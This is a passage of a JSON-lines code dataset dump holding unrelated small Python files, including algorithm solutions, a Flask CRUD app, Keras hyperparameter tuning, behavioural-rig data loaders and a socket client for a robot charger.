List[int]:\n # 哈希表+小顶堆\n # step1, 统计次数\n from collections import defaultdict\n d = defaultdict(int)\n for num in nums:\n d[num] += 1\n # step2, min heap\n d = list(d.items())\n min_heap = []\n for item in d[:k]:\n heapq.heappush(min_heap, (item[1], item[0]))\n for item in d[k:]:\n if item[1] > min_heap[0][0]:\n heapq.heappop(min_heap)\n heapq.heappush(min_heap, (item[1], item[0]))\n return [x[1] for x in min_heap]\n","sub_path":"Week_02/347_top_k_frequent_elements.py","file_name":"347_top_k_frequent_elements.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"436979564","text":"\n\nfrom xai.brain.wordbase.nouns._doxology import _DOXOLOGY\n\n#calss header\nclass _DOXOLOGIES(_DOXOLOGY, ):\n\tdef __init__(self,): \n\t\t_DOXOLOGY.__init__(self)\n\t\tself.name = \"DOXOLOGIES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"doxology\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_doxologies.py","file_name":"_doxologies.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"159248118","text":"from random import choice\nfrom tkinter import Tk\nimport subprocess\n\n# The goal of this module is to print 3 random restaurants from a text file.\n\n# Create empty list\nrestList = []\n\n# Open restList.txt\nrestFile = open('restList.txt')\n\n# Loop through restList.txt and add to restList\nfor line in restFile:\n\trestList.append(line)\n\t# Each entry has '\\n' appended to it still. \n\n#Close restList.txt\nrestFile.close()\n\nstringList = ''\nprintList = []\n\ny = input('# of restaurants to display?')\nx = 0 \n\nwhile x < int(y):\n\t# Select random element from restList\n\trest = choice(restList)\n\tif rest not in printList:\n\t\tx += 1\n\t\t# Adjustment for resturant at end of file\n\t\tif '\\n' not in rest:\n\t\t\trest += '\\n'\n\t\tprintList.append(rest)\n\t\tstringList += rest\n\n# Print restuarants\nprint(stringList)\n\n\n# To Do:\n\t#GUI\n\t#Reroll\n\t\t#don't include last places.","sub_path":"restImport.py","file_name":"restImport.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"86663095","text":"import ast\n\n\nclass Analyzer(ast.NodeVisitor):\n def __init__(self):\n self.gen = set()\n self.kill = set()\n\n def visit_Call(self, node):\n for arg in node.args:\n self.visit(arg)\n\n def visit_Name(self, node):\n if isinstance(node.ctx, ast.Load):\n if node.id not in self.kill:\n self.gen.add(node.id)\n else:\n self.kill.add(node.id)\n\n\ndef perform_liveness_analysis(basic_blocks):\n for index, block in enumerate(reversed(basic_blocks)):\n analyzer = Analyzer()\n for statement in block:\n analyzer.visit(statement)\n if index == 0:\n block.live_outs = set()\n else:\n block.live_outs = set().union(\n *(b.live_ins for b in basic_blocks[-index:]))\n block.live_ins = analyzer.gen.union(\n block.live_outs.difference(analyzer.kill))\n","sub_path":"hanz/liveness_analysis.py","file_name":"liveness_analysis.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"450233258","text":"import re\n\nemails = '''\nSampleMaiL@example.com\njohn.sample@my-work.net\njack-125-production@colledge.edu\nbob.Samples@example.co.uk\nexample@example.org\n'''\n\nurls = '''\nhttps://www.google.com\nhttp://www.wordpress.org\nhttps://www.nasa.gov\nhttps://example.net\nwww.example.net\nexample.net\n'''\n\npattern = re.compile(r'(http://|https://)*(www\\.)*([a-z]+\\.[a-z]{2,3})')\nmatches = pattern.finditer(urls)\nfor match in matches:\n #print(match)\n print(match.group(2, 3))\n\nsubbed_urls = pattern.sub(r'Hello, my website is \\2\\3', urls) # vyvod 2 i 3 gruppu iz pattern\nprint(subbed_urls)\n\n\n#wwww.regexr.com","sub_path":"023_regular_expressions.py","file_name":"023_regular_expressions.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"54161652","text":"import streamlit as st\nimport sys\nimport altair as alt\n\n#for 80\nimport re\nimport string\n\n#for 81\nimport nltk\nfrom nltk import stem\nimport itertools\nimport csv\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow import keras\nimport pandas as pd\n\n#for 82\n#import matplotlib.pyplot as plt\n\n# for 84\nfrom gensim.models import KeyedVectors\n# others\nimport time\n\n# for 88\nfrom scipy.stats import reciprocal\nfrom sklearn.model_selection import RandomizedSearchCV\n\nfrom sklearn.model_selection import GridSearchCV\n\n\nst.title('chapter9. CNN and RNN (88)')\n\nTRAINING_NUM = 0\n\n### data loading \n\ndef preprocessing(text): # same function in problem 50\n text = text.lower()\n text = re.sub('[0-9]+', '', text)\n text = \"\".join([i for i in text if i not in string.punctuation])\n\n tokens = nltk.word_tokenize(text)\n stemmer = stem.PorterStemmer()\n stem_tokens = [stemmer.stem(token) for token in tokens]\n return \" \".join(stem_tokens)\n\n@st.cache_resource(max_entries=1)\ndef get_data(training_num: int):\n # load the data\n train = pd.read_csv('./train.txt', sep='\\t', quoting=csv.QUOTE_NONE)\n if training_num:\n st.text(f'Training Data is currently loaded {training_num} lines for test')\n train = train[:training_num]\n X_train = train['title']\n \n valid = pd.read_csv('./valid.txt', sep='\\t', quoting=csv.QUOTE_NONE) \n # validation data for problem 82\n X_valid = valid['title']\n\n category_dict = {'b': 0, 't': 1, 'e': 2, 'm': 3}\n y_train = train['category'].map(category_dict)\n y_valid = valid['category'].map(category_dict)\n\n # convert texts to the sequence of ids\n X_train = X_train.apply(preprocessing)\n X_valid = X_valid.apply(preprocessing)\n \n ## use a part of texts_to_ids()\n word_counter: dict[str, int] = {}\n for title in X_train:\n for word in title.split():\n word_counter.setdefault(word, 0)\n word_counter[word] += 1\n\n map = {\n k: i + 1 for i, (k, v) in \n enumerate([\n (k, v) for (k, v) in\n sorted([(k, v) for (k, v) in word_counter.items()], key=lambda x : x[1])\n if v >= 1\n ])\n }\n def mapper(title: str) -> list[int]:\n return [\n map.get(word, 0)\n for word in title.split()\n ]\n X_train = X_train.apply(mapper)\n X_valid = X_valid.apply(mapper)\n\n return X_train.tolist(), X_valid.tolist(), y_train.tolist(), y_valid.tolist(), len(map) + 1\n\nX_train, X_valid, y_train, y_valid, id_count = get_data(TRAINING_NUM)\n\n# then, convert ids to one-hot vectors\n@st.cache_resource(max_entries=1)\ndef get_onehots(training_num: int, id_count: int):\n max_len = max(list(map(len, X_train)) + list(map(len, X_valid)))\n for ids in X_train:\n ids += [0 for _ in range(max_len - len(ids))]\n\n for ids in X_valid:\n ids += [0 for _ in range(max_len - len(ids))]\n\n X_train_onehot = tf.one_hot(X_train, depth=id_count)\n X_valid_onehot = tf.one_hot(X_valid, depth=id_count)\n return X_train_onehot, X_valid_onehot\n\nX_train_onehot, X_valid_onehot = get_onehots(TRAINING_NUM, id_count)\n\n@st.cache_resource(max_entries=1)\ndef history_to_plot(histr):\n histr = pd.DataFrame(histr)\n histr.reset_index(inplace= True)\n histr = histr.rename(columns={'index': 'epoch'})\n histr = pd.melt(histr, id_vars = ['epoch'], value_vars=['loss', 'accuracy', 'val_loss', 'val_accuracy'])\n\n c = alt.Chart(histr).mark_line().encode( \n x=alt.X(\"epoch:O\"), y=alt.Y(\"value:Q\"),\n color=('variable')\n ).properties(height=300)\n\n st.altair_chart(c, use_container_width=True)\n\nst.header('88. Hyper-parameter Tuning')\n\n## get max length of title words (to give same dimensional inputs to model created later)\nmax_len = max([len(words) for words in X_train] + [len(words) for words in X_valid])\n\nparam_disribs = {\n 'arch':['Bi-RNN','CNN', 'CNN-RNN-comb'], # biderectional Multi-layer RNN model, CNN, CNN とRNNの2つの組み合わせでどれが一番良いか\n #'arch':['Bi-GRU'], # biderectional Multi-layer RNN model, CNN, CNN とRNNの2つの組み合わせでどれが一番良いか\n 'learning_rate': reciprocal(3e-4, 3e-2),\n 'filter_num': list(range(10,40,5)),\n 'kernel_size': list(range(2,15,1)),\n 'stride': list(range(1,5,1)),\n 'rnn_unit_size': list(range(10,100,10)),\n 'n_hidden': list(range(1,5,1)),\n 'activation': ['relu','tanh','sigmoid'],\n}\n\ndef build_model(arch='Bi-RNN', \n n_hidden=1, n_neurons=30, activation='relu', \n input_shape=[max_len, id_count], optimizer=\"adam\", learning_rate=1e-3,\n filter_num=10, kernel_size=2, stride=1,\n rnn_unit_size=10): # 初期値の設定\n print(f'arch: {arch}')\n print(f'n_hidden: {n_hidden}')\n print(f'activation: {activation}')\n print(f'optimizer: {optimizer}')\n print(f'learning_rate: {learning_rate}')\n print(f'filter_num: {filter_num}')\n print(f'kernel_size: {kernel_size}')\n print(f'stride: {stride}')\n print(f'rnn_unit_size: {rnn_unit_size}')\n\n model = keras.models.Sequential()\n if arch == 'Bi-RNN':\n model.add(keras.layers.Bidirectional(keras.layers.SimpleRNN(rnn_unit_size, return_sequences=True), input_shape=input_shape))\n model.add(keras.layers.Bidirectional(keras.layers.SimpleRNN(rnn_unit_size)))\n elif arch == 'CNN':\n model.add(keras.layers.Conv1D(filter_num,kernel_size,strides=stride,padding='same',activation=activation,input_shape=input_shape))\n model.add(keras.layers.MaxPooling1D(2))\n model.add(keras.layers.Flatten())\n elif arch == 'CNN-RNN-comb': #in case of 'CNN-RNN-comb'\n model.add(keras.layers.Conv1D(filter_num,kernel_size,strides=stride,padding='same',activation=activation,input_shape=input_shape))\n model.add(keras.layers.MaxPooling1D(2))\n model.add(keras.layers.Bidirectional(keras.layers.SimpleRNN(rnn_unit_size, return_sequences=True)))\n model.add(keras.layers.Bidirectional(keras.layers.SimpleRNN(rnn_unit_size)))\n else:\n raise Exception(f'Undefined arch: {arch}')\n\n for i in range(n_hidden):\n model.add(keras.layers.Dense(n_neurons, activation=activation))\n model.add(keras.layers.Dense(4,activation=\"softmax\"))\n \n if optimizer=='adam':\n optimizer_factory=keras.optimizers.Adam\n elif optimizer=='adagrad':\n optimizer_factory=keras.optimizers.Adagrad\n else:\n optimizer_factory=keras.optimizers.SGD\n\n model.compile(loss='sparse_categorical_crossentropy',\n optimizer=optimizer_factory(learning_rate=learning_rate),\n )\n return model\n\nkeras_reg = keras.wrappers.scikit_learn.KerasRegressor(build_model)\n\nrand_search_cv = RandomizedSearchCV(keras_reg, param_disribs, return_train_score=True, n_iter=30, cv=2)\n # n_iter = The number of parameter settings that are tried \n # cv = n fold cross-validation spilitting strategy\n\nrand_search_cv.fit(np.array(X_train_onehot), np.array(y_train), epochs=5)\n# epoch5, training data全部, n_iter 30-100くらいで試す\n# scikit.learnはテンソル型を読み込めないのでデータをnp.arrayにして渡す\n\nst.write(rand_search_cv.best_params_)\n\n\n### もしGridSearchをするのなら..(以下はCNN modelの場合)\nparam_grid = {\n 'optimizer': ['adam', 'adagrad'],\n 'n_hidden': [1,2,3],\n # add parameters \n}\n\ndef build_cnn_model(n_hidden=1, n_neurons=30, input_shape=[max_len, id_count], optimizer=\"adam\"):\n model = keras.models.Sequential()\n model.add(keras.layers.Conv1D(3,3,strides=1,padding='same',activation='relu',input_shape=input_shape))\n model.add(keras.layers.MaxPooling1D(2))\n model.add(keras.layers.Flatten())\n for i in range(n_hidden):\n model.add(keras.layers.Dense(n_neurons, activation='relu'))\n model.add(keras.layers.Dense(4,activation=\"softmax\"))\n model.compile(loss='sparse_categorical_crossentropy',\n optimizer=optimizer,\n )\n return model\n\nkeras_reg = keras.wrappers.scikit_learn.KerasRegressor(build_cnn_model)\n\nkeras_reg.fit(X_train_onehot, np.array(y_train), epochs=10,\n validation_data=(X_valid_onehot, np.array(y_valid)),\n validation_batch_size=200)\n\ngrid_search = GridSearchCV(keras_reg, param_grid, return_train_score=True)\ngrid_search.fit(np.array(X_train_onehot), np.array(y_train))\n\nst.write(grid_search.best_params_)\n\n### grid searchをもし手で書くと...(CNN modelの場合)\n#history_all = pd.DataFrame()\n#for cnn_layer_num in [1,2]:\n# for dense_layer_num in [1]:\n# for dense_unit_num in [4]:\n# for filter_num in [10]:\n# for kernel_size in [3]:\n# for stride in [1]:\n# for l_rate in [0.01]:\n# model = get_cnn(max_len, id_count, cnn_layer_num, dense_layer_num, dense_unit_num, filter_num, kernel_size, stride, l_rate)\n#\n# history = model.fit(\n# X_train_onehot,\n# np.array(y_train),\n# epochs=TRAINING_EPOCHS, \n# batch_size=32,\n# validation_data=(X_valid_onehot, np.array(y_valid)),\n# validation_batch_size=200,\n# )\n# ## save accuracy rates of each models\n# model_name = 'model_CNN' + str(cnn_layer_num) + str(filter_num) + str(kernel_size) + str(stride) + '_Dense' + str(dense_layer_num) + '_' + str(dense_unit_num) + '_' + str(filter_num) + '_rate' + str(l_rate)\n# history = pd.DataFrame(history.history)\n# st.write(history)\n# history.loc[:, 'model'] = model_name\n# history.index = np.arange(1, len(history)+1)\n# history.reset_index(inplace= True)\n# history = history.rename(columns={'index': 'epoch'})\n# history_all = pd.concat([history, history_all])\n#\n#c1 = alt.Chart(history_all).mark_line().encode(\n# x=alt.X(\"epoch:O\"), y=alt.Y(\"accuracy:Q\"),\n# color=('model')\n#).properties(height=300)\n#\n#c2 = alt.Chart(history_all).mark_line().encode(\n# x=alt.X(\"epoch:O\"), y=alt.Y(\"val_accuracy:Q\"),\n# color=('model')\n#).properties(height=300)\n#st.altair_chart(c1, use_container_width=True)\n#st.altair_chart(c2, use_container_width=True)\n#\n\n","sub_path":"2023/nagura/ch09/chapter9_88.py","file_name":"chapter9_88.py","file_ext":"py","file_size_in_byte":10516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"353985303","text":"with open('macacos-me-mordam.txt') as arquivo: \n contador=0\n conteudo=arquivo.readlines()\n for contador in conteudo:\n conteudo_lower=contador.lower()\n conteudo_split=contador.split()\n for palavra in conteudo:\n if palavra=='banana':\n contador+=1\nprint(contador)","sub_path":"backup/user_083/ch85_2020_05_06_16_58_29_367299.py","file_name":"ch85_2020_05_06_16_58_29_367299.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"420028780","text":"from flask import Flask,jsonify,json,request\nfrom utils import connection_to_db\nimport logging\nfrom config import (FLASK_PORT, DEBUG)\nimport psycopg2\napp = Flask(__name__)\n# logging.basicConfig(filename=\".env\",\n# format='%(asctime)s %(message)s',\n# filemode='a')\nconn, cur = connection_to_db()\nemails_in_list=[]\n# cur = conn.cursor()\n# logger=logging.getLogger()\n# logger.setLevel(logging.INFO)\n\n# b = connection_to_db()\n# print(b)\n# dict_user_data = { }\n# @app.route('/')\n# def hello():\n# if conn:\n# logger.info('connection established')\n# conn,cur = connection_to_db()\n# return conn,cur\n# logger.info('connection not established')\n# return 'hello world'\n\n# @app.route('/create',methods=['POST'])\n# # 'GET',\n# # 'PATCH',\n# # 'PUT',\n# # 'DELETE'\n# def method():\n# if conn:\n# if request.method=='POST':\n# user = request.get_json()\n# first_name = user['first_name']\n# last_name = user['last_name']\n# email = user['email']\n# password = user['password']\n# cur.execute('select email from details_user100' )\n# emails_in_db = cur.fetchall()\n# print(emails_in_db)\n# # To check email exists ot not\n# for tuple_email in emails_in_db:\n# if email in tuple_email:\n# return 'email already present'\n \n# # If not email, create a new row with all objects\n# insertion_to_table ='''insert into details_user100\n# (first_name,last_name,email,pwd) \n# values(%s,%s,%s,%s)'''\n# data_to_be_inserted= (first_name,last_name,email,password)\n# cur.execute(insertion_to_table,data_to_be_inserted)\n# conn.commit()\n# return 'Data Inserted'\n@app.route('//',methods = ['PUT',\n 'PATCH',\n 'GET',\n 'DELETE'])\n\ndef more_methods(email,anything):\n if request.method=='GET':\n cur.execute('select email from details_user100')\n emails_in_db = cur.fetchall()\n # type(emails_in_db)\n for emails in emails_in_db:\n if email not in emails:\n return 'user not present'\n data_to_be_returned='select * from user_details100'\n parameters = (email,)\n cur.execute(data_to_be_returned,parameters)\n user_details = cur.fetchall()\n print(user_details)\n conn.commit()\n \n elif request.method=='DELETE':\n cur.execute('select email from details_user100')\n emails_in_db = cur.fetchall()\n # type(emails_in_db)\n for emails in emails_in_db:\n if email not in emails:\n return 'user not present'\n row_to_be_deleted = 'delete from details_user100 where email = %s'\n row_data = (email,)\n cur.execute(row_to_be_deleted,row_data)\n return 'deleted successfully'\n elif request.method=='PATCH':\n # cur.execute('select email from details_user100')\n # emails_in_db = cur.fetchall()\n # # type(emails_in_db)\n # for emails in emails_in_db:\n # if email not in emails:\n # return 'user not present'\n update_query = 'update details_user100 set last_name =%s where email =%s'\n data_to_be_updated = (anything,email)\n cur.execute(update_query,data_to_be_updated)\n conn.commit()\n return 'successfully updated'\n\n # elif \n \n\n\n\n # elif request.method=='PATCH':\n\n\n\n \n\n return 'no methods match'\n \n \n return 'none'\n\n\n\nif __name__ =='__main__':\n app.run(debug=DEBUG, port=FLASK_PORT)\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"636368520","text":"import os\nimport sys\n\nstart = int(sys.argv[1])\nend = int(sys.argv[2])+1\n_type = sys.argv[3]\nfor i in range(start, end):\n filename = str(i)+\".FASTA.pssm\"\n os.system(\"python probability.py \" + filename)\n filename = str(i)+\".prob.txt\"\n os.system(\"python bigram.py \" + filename + \" \" + _type)\n os.system(\"del \" + filename)","sub_path":"THESIS/Thesis/TrainingSet/FeatureExtraction/bigram/createBigram.py","file_name":"createBigram.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"220316550","text":"# -*- coding:utf-8 -*-\n# @Author: Niccolò Bonacchi\n# @Date: Monday, July 16th 2018, 1:28:46 pm\n# @Last Modified by: Niccolò Bonacchi\n# @Last Modified time: 16-07-2018 01:30:26.2626\n\"\"\"**Raw Data Loader functions for PyBpod rig.**\n\nModule contains one loader function per raw datafile\n\n\"\"\"\nimport os\nimport json\nimport numpy as np\nimport pandas as pd\nfrom dateutil import parser\n\n\ndef load_settings(session_path):\n \"\"\"\n Load PyBpod Settings files (.json).\n\n [description]\n\n :param session_path: Absolute path of session folder\n :type session_path: str\n :return: Settings dictionary\n :rtype: dict\n \"\"\"\n path = os.path.join(session_path, \"raw_behavior_data\",\n \"_ibl_pycwBasic.settings.json\")\n with open(path, 'r') as f:\n settings = json.loads(f.readline())\n return settings\n\n\ndef load_data(session_path):\n \"\"\"\n Load PyBpod data files (.jsonable).\n\n [description]\n\n :param session_path: Absolute path of session folder\n :type session_path: str\n :return: A list of len ntrials each trial being a dictionary\n :rtype: list of dicts\n \"\"\"\n path = os.path.join(session_path, \"raw_behavior_data\",\n \"_ibl_pycwBasic.data.jsonable\")\n data = []\n with open(path, 'r') as f:\n for line in f:\n data.append(json.loads(line))\n return data\n\n\ndef load_encoder_events(session_path):\n \"\"\"\n Load Rotary Encoder (RE) events raw data file.\n\n Assumes that a folder calles \"raw_behavior_data\" exists in folder.\n\n On each trial the RE sends 3 events to Bonsai 1 - meaning trial start/turn\n off the stim; 2 - meaning show the current trial stimulus; and 3 - meaning\n begin the closed loop making the stim move whit the RE. These events are\n triggered by the state machine in the corrensponding states: trial_start,\n stim_on, closed_loop\n\n Raw datafile Columns:\n Event, RE timestamp, Source, data, Bonsai Timestamp\n\n Event is always equal 'Event' Source is always equal 'StateMachine'. For\n this reason these columns are dropped.\n\n >>> data.columns\n >>> ['re_ts', # Rotary Encoder Timestamp 'numpy.int64'\n 'sm_ev', # State Machine Event 'numpy.int64'\n 'bns_ts'] # Bonsai Timestamp 'pandas.Timestamp'\n # pd.to_datetime(data.bns_ts) to work in datetimes\n\n :param session_path: [description]\n :type session_path: [type]\n :return: dataframe w/ 3 cols and (ntrials * 3) lines\n :rtype: Pandas.DataFrame\n \"\"\"\n path = os.path.join(session_path, \"raw_behavior_data\",\n \"_ibl_encoderEvents.bonsai_raw.csv\")\n data = pd.read_csv(path, sep=' ', header=None)\n data = data.drop([0, 2, 5], axis=1)\n data.columns = ['re_ts', 'sm_ev', 'bns_ts']\n data.bns_ts = pd.Series([parser.parse(x) for x in data.bns_ts])\n return data\n\n\ndef load_encoder_positions(session_path):\n \"\"\"\n Load Rotary Encoder (RE) positions from raw data file.\n\n Assumes that a folder calles \"raw_behavior_data\" exists in folder.\n\n Variable line number, depends on movements.\n\n Raw datafile Columns:\n Position, RE timestamp, RE Position, Bonsai Timestamp\n\n Position is always equal to 'Position' so this column was dropped.\n\n >>> data.columns\n >>> ['re_ts', # Rotary Encoder Timestamp 'numpy.int64'\n 're_pos', # Rotary Encoder position 'numpy.int64'\n 'bns_ts'] # Bonsai Timestamp 'pandas.Timestamp'\n # pd.to_datetime(data.bns_ts) to work in datetimes\n\n :param session_path: Absoulte path of session folder\n :type session_path: str\n :return: dataframe w/ 3 cols and N positions\n :rtype: Pandas.DataFrame\n \"\"\"\n path = os.path.join(session_path, \"raw_behavior_data\",\n \"_ibl_encoderPositions.bonsai_raw.csv\")\n data = pd.read_csv(path, sep=' ', header=None)\n data = data.drop([0, 4], axis=1)\n data.columns = ['re_ts', 're_pos', 'bns_ts']\n data.bns_ts = pd.Series([parser.parse(x) for x in data.bns_ts])\n return data\n\n\ndef load_encoder_trial_info(session_path):\n \"\"\"\n Load Rotary Encoder trial info from raw data file.\n\n Assumes that a folder calles \"raw_behavior_data\" exists in folder.\n\n Raw datafile Columns:\n\n >>> data.columns\n >>> ['trial_num', # Trial Number 'numpy.int64'\n 'stim_pos_init', # Initial position of visual stim 'numpy.int64'\n 'stim_contrast', # Contrast of visual stimulus 'numpy.float64'\n 'stim_freq', # Frequency of gabor patch 'numpy.float64'\n 'stim_angle', # Angle of Gabor 0 = Vertical 'numpy.float64'\n 'stim_gain', # Wheel gain (mm/º of stim) 'numpy.float64'\n 'stim_sigma', # Size of patch 'numpy.float64'\n 'bns_ts' ] # Bonsai Timestamp 'pandas.Timestamp'\n # pd.to_datetime(data.bns_ts) to work in datetimes\n\n :param session_path: Absoulte path of session folder\n :type session_path: str\n :return: dataframe w/ 8 cols and ntrials lines\n :rtype: Pandas.DataFrame\n \"\"\"\n path = os.path.join(session_path, \"raw_behavior_data\",\n \"_ibl_encoderTrialInfo.bonsai_raw.csv\")\n data = pd.read_csv(path, sep=' ', header=None)\n data = data.drop([8], axis=1)\n data.columns = ['trial_num', 'stim_pos_init', 'stim_contrast', 'stim_freq',\n 'stim_angle', 'stim_gain', 'stim_sigma', 'bns_ts']\n data.bns_ts = pd.Series([parser.parse(x) for x in data.bns_ts])\n return data\n\n\nif __name__ == '__main__':\n SESSION_PATH = \"/home/nico/Projects/IBL/IBL-github/IBL_root/pybpod_data/\\\ntest_mouse/2018-07-11/11\"\n\n settings = load_settings(SESSION_PATH)\n data = load_data(SESSION_PATH)\n eEvents = load_encoder_events(SESSION_PATH)\n ePos = load_encoder_positions(SESSION_PATH)\n eTI = load_encoder_trial_info(SESSION_PATH)\n\n print(\"Done!\")\n","sub_path":"python/ibllib/io/raw_data_loaders.py","file_name":"raw_data_loaders.py","file_ext":"py","file_size_in_byte":5937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"552589327","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport curses\nimport socket\nimport ast\nimport json\n\nhost = \"192.168.1.201\"\nport = 8081\nstdscr = curses.initscr()\ncurses.cbreak()\nstdscr.keypad(1)\n\nstdscr.refresh()\n\nkey = ''\nwhile key != ord('q'):\n key = stdscr.getch()\n stdscr.refresh()\n if key ==ord('c'):\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((host, port))\n s.sendall(('\\xFA\\x55\\x09\\x04\\x00\\xF3'))\n data = s.recv(1024)\n s.close()\n print('Received', repr(data))\n elif key == ord('t') : \n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((host, port))\n s.sendall(('\\xFA\\x55\\x0B\\x04\\x00\\xF1'))\n data = s.recv(1024)\n #jdata = json.load(data.decode('utf-8'))\n #parsed = json.loads(data)\n #print(type(parsed))\n #dic_data = ast.literal_eval(data)\n print(type(data))\n s.close()\n print('Received', repr(data))\n elif key == ord('s') :\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((host, port))\n s.sendall('\\xFA\\x55\\x0B\\x04\\x00\\xF1')\n data = s.recv(1024)\n s.close()\n print('Received', repr(data))\n elif key == ord('g') :\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((host, port))\n s.sendall('\\xFA\\x55\\x01\\x04\\x00\\xFB')\n data = s.recv(1024)\n s.close()\n print('Received', repr(data))\n elif key == ord('h') :\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((host, port))\n s.sendall('\\xFA\\x55\\x03\\x05\\x00\\x06\\xF2')\n data = s.recv(1024)\n s.close()\n print('Received', repr(data))\n\n\ncurses.endwin()\n","sub_path":"robot/charger/key_press_server.py","file_name":"key_press_server.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"621683430","text":"# Typical setup to include TensorFlow.\nimport tensorflow as tf\nimport pdb\n\ndef get_image_tensor(filename):\n\n # Make a queue of file names including all the JPEG images files in the relative\n # image directory.\n filename_queue = tf.train.string_input_producer(\n tf.train.match_filenames_once(filename))\n # filename_queue = tf.train.string_input_producer(tf.train.match_filenames_once(\n # '/dirs/home/phd/cxz2081/data/mscoco/train2014/COCO_train2014_000000490481.jpg'))\n\n\n # Read an entire image file which is required since they're JPEGs, if the images\n # are too large they could be split in advance to smaller files or use the Fixed\n # reader to split up the file.\n image_reader = tf.WholeFileReader()\n\n # Read a whole file from the queue, the first returned value in the tuple is the\n # filename which we are ignoring.\n _, image_file = image_reader.read(filename_queue)\n\n # Decode the image as a JPEG file, this will turn it into a Tensor which we can\n # then use in training.\n image_orig = tf.image.decode_jpeg(image_file)\n\n # resize image to dimensions of Inception v3 input images\n image_resize = tf.image.resize_images(image_orig, size=[299, 299])\n image_shape=tf.stack([299,299,3])\n image_resize= tf.reshape(image_resize,image_shape)\n # insert batch dimensions.\n image = tf.expand_dims(image_resize, 0)\n # pdb.set_trace()\n\n return image\n\n # # Start a new session to show example output.\n # with tf.Session() as sess:\n # # Required to get the filename matching to run.\n # tf.global_variables_initializer().run()\n #\n # # Coordinate the loading of image files.\n # coord = tf.train.Coordinator()\n # threads = tf.train.start_queue_runners(coord=coord)\n #\n # # Get an image tensor and print its value.\n # image_tensor = sess.run(image)\n # pdb.set_trace()\n # # print(image_tensor)\n #\n # # Finish off the filename queue coordinator.\n # coord.request_stop()\n # coord.join(threads)\n\n # return image_tensor\n","sub_path":"ops/load_jpeg_with_tensorflow.py","file_name":"load_jpeg_with_tensorflow.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"498034065","text":"import click\nimport logging\nimport os\n\nfrom stactools.sentinel1_grd.stac import create_item\n\nlogger = logging.getLogger(__name__)\n\n\ndef create_sentinel1grd_command(cli):\n \"\"\"Creates the stactools- command line utility.\"\"\"\n @cli.group(\n \"sentinel1grd\",\n short_help=(\"Commands for working with stactools-\"),\n )\n def sentinel1grd():\n pass\n\n @sentinel1grd.command(\n \"create-item\",\n short_help=\"Convert a Sentinel1 GRD scene into a STAC item\",\n )\n @click.argument(\"src\")\n @click.argument(\"dst\")\n def create_item_command(src, dst):\n \"\"\"Creates a STAC Collection\n\n Args:\n src (str): path to the scene\n dst (str): path to the STAC Item JSON file that will be created\n \"\"\"\n item = create_item(src)\n\n item_path = os.path.join(dst, \"{}.json\".format(item.id))\n item.set_self_href(item_path)\n\n item.save_object()\n\n return sentinel1grd\n","sub_path":"src/stactools/sentinel1_grd/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"405112800","text":"import sys\n\nfor unos in sys.stdin:\n unos=unos.replace(\"\\n\",\"\")\n if unos==\"0 0\":\n break\n else:\n unos=unos.split(\" \")\n L=[]\n for i in range(0,int(unos[0])):\n L.append(i+1)\n for i in range(0,int(unos[1])):\n ubijeni=input()\n ubijeni=ubijeni.split(\" \")\n lijevi=0\n desni=0\n for j in range(0,len(L)):\n if L[j]==int(ubijeni[0]):\n lijevi=j\n manji=j-1\n if L[j]==int(ubijeni[1]):\n desni=j\n veci=j+1\n if manji < 0:\n if veci> len(L)-1:\n print(\"* *\")\n else:\n print(\"* {}\".format(L[veci]))\n elif veci > len(L)-1:\n print(\"{} *\".format(L[manji]))\n else:\n print(\"{} {}\".format(L[manji],L[veci]))\n \n del(L[lijevi:desni+1])\n \n \n print(\"-\")","sub_path":"uva12356.py","file_name":"uva12356.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"458799314","text":"import torch\nfrom tangent_images.util import *\n\nkernel_size = 1 # Kernel size (so we know how much to pad)\nbase_order = 1 # Base sphere resolution\nsample_order = 6 # Determines sample resolution\nskip = 10 # How many tangent images to skip in sampling ones to visualize\nshow_tangent_with_padding = True # Include padding samples in tangent plane visualizations\n\n# Create the sampling map from the icosahedron\nspherical_sample_map = tangent_images_spherical_sample_map(\n base_order, sample_order, kernel_size)\nsamples_3d = convert_spherical_to_3d(spherical_sample_map.squeeze())\nsamples_3d /= 